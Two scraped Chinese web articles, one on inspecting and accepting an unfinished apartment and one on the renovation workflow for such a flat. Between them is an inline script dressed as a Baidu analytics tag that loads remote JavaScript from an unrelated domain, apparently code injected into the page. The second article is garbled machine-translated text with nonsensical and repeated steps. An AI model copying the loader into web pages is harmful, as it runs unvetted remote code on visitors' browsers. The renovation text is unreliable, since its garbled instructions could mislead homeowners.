毛坯房怎样验房收房 毛坯房验房程序

有不少业主认为，精装房应该仔细的验房收房，毛坯房就不需要这么大费周章了。这显然是不可取的想法，毛坯房同样需要验房收房，它涉及到房屋本身的质量结构问题，千万不要马虎，那么毛坯房怎么验房收房呢？毛坯房验房程序主要验收文件、核实房屋面积、验收房屋、验收公共环境以及物业管理状况。一、验收文件这是毛坯房验房程序的第一步，需要装修公司出具各种房屋验收的文件，其中包括国家部门出具的《竣工验收表》，最有说服力，测量也比较科学。二、核实房屋面积由于公摊面积的存在，会使得交房时的面积不如购买时的大。这就需要在毛坯房验房程序中，业主了解这方面的政策知识，检查房屋的面积偏差是否合理。公摊面积主要包括电梯、消防室，而风井、安防工作间则不属于分摊的范围，面积偏差在3%是可以接受的，超过了就申请复议。三、验收房屋验收房屋是毛坯房验房程序中最复杂的，需要要查看测试项目比较多。比如说墙壁地面，看一下是否有裂纹，表面是否平整，有没有渗水的现象，如果有水迹的话，一定要及时的查明渗漏的原因，进行相应的修复。检查电路的时候，应该先把分闸关闭，测试一下是否能够控制分支的线路，测量强、弱电是否有问题。四、验收公共环境这方面的验收主要是说，查看周围配套设施是否和交房的时候一起交付使用。一般来说毛坯房验房程序中，主要检查电梯是否能够正常使用，确保电梯箱、电梯门没有运行问题，还要检查一下楼道、楼梯。五、物业管理状况小区的物业管理状况影响到业主生活的质量，所以在毛坯房验房程序中，不要忘记和物业公司进行接触了解，保障自己业主的权利。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

怎样装修毛坯房 毛坯房装修流程

现在房价一直在上涨，大多数业主都把目光投向了房子。 在毛坯房之后，每个人都想到的第一件事就是装饰，如何装饰毛坯房？ 毛坯房的翻新程序是什么？ 在土巴兔小编下​​面供大家介绍。 如何装修毛坯房毛坯房装修过程如何装饰毛坯房？ 1，巧妙利用空间，合理拆迁这里主要包括拆迁，墙体建筑，铲墙皮，拆卸暖气，塑料窗等。 一定要确定开关，灯具，洗脸盆，浴缸，洗衣机等的确切位置。在水电改造之前，橱柜设计师应该到第一次测量的门，以帮助您确定电力和水路改造设计 。 2，瓷砖的主要要点平铺前，买一个地漏。 防水和拉动后，您就可以拼贴了。 除了正常的瓷砖注意外，将瓷砖浸泡在水中并在阴凉处干燥; 破碎的瓷砖留下来切割，整个装饰美观。 3。 优化管道外观正常情况下，马桶管安装最多，装修应兼具防滑和干燥。 因此，管道的外观得到优化，不仅可以防止潮湿，还可以进行装饰。 影响。 4，贴纸壁纸墙面漆刷后，油画笔在需要贴墙纸的地方刷了硝化纤维素涂料，涂料可以隔一天晒干，然后大师可以粘贴 墙纸。 一开始，我们担心壁纸会弄脏刷过的白墙。 后来，当我们发布它时，我们知道这是我们自己的考虑。 如何装修毛坯房毛坯房装修过程毛坯房装修过程：工艺I，清除装修区域，了解墙面尺寸 1，清除涉及装修过程的区域。 特别是瓷砖面积，墙面涂料面积，壁纸面积，建筑面积。 2，清除主墙尺寸。 特别是，有必要在未来设计家具的壁尺寸。 工艺2，合理拆迁，巧妙利用空间主要包括拆迁，墙体建筑，铲墙皮，拆卸暖气，塑料窗等。 拆除后的垃圾应及时清理，以保证房间的清洁，便于施工。 水电改造，尽量不后悔。 砖在墙上，吊顶打开，很难添加插座。 因此，一定要确定开关，灯具，水池，浴缸，洗衣机等的确切位置。在水电改造之前，橱柜设计师应该到门进行第一次测量，以帮助您确定功率和 水路改造设计。 热水器，最好根据您确定的型号派人设计电源和接口的位置。 工艺3，优化管道外观，增强装饰效果管道一般安装在卫生间。 浴室装饰是我们整个家居装饰中最麻烦的地方。 确保它是干燥的，因此优化管道的外观，不仅要防止潮湿，还要装饰。 Flow 4，地面装饰（瓷砖的主要点）地面实物装饰（瓷砖的主要点），平铺前，买一个地漏。 防水和拉动后，您就可以拼贴了。 除了正常的瓷砖注意外，将瓷砖浸泡在水中并在阴凉处干燥; 破碎的瓷砖留下来切割，我个人强调瓷砖的整体美感。 工艺5，美化房子的粗糙墙壁，让墙壁美丽贴墙纸比墙面漆，效果要好得多。 在刷漆墙漆后，油管将在需要壁纸的地方刷漆。 涂料可以每隔一天干燥，然后业主可以粘贴壁纸。 一开始，我们担心壁纸会弄脏白墙，然后我发现当我发布它时它是一个非常干净的工作！ 注意：贴墙纸后48小时不要打开窗户，让它在阴凉处慢慢晾干。 对业主说好话，如果你能够验收，你必须麻烦他帮助修理它。 流量六，插座安装和智能排列插座面板可以安装半天。 以上是土巴兔小编为大家介绍如何装修毛坯房和毛坯房装修过程的具体内容，现在大家都明白了。 在装修毛坯房时，每个人都可以根据上面毛坯房装修过程进行装饰。 有关毛坯房的更多信息，请访问土巴兔查看相关信息。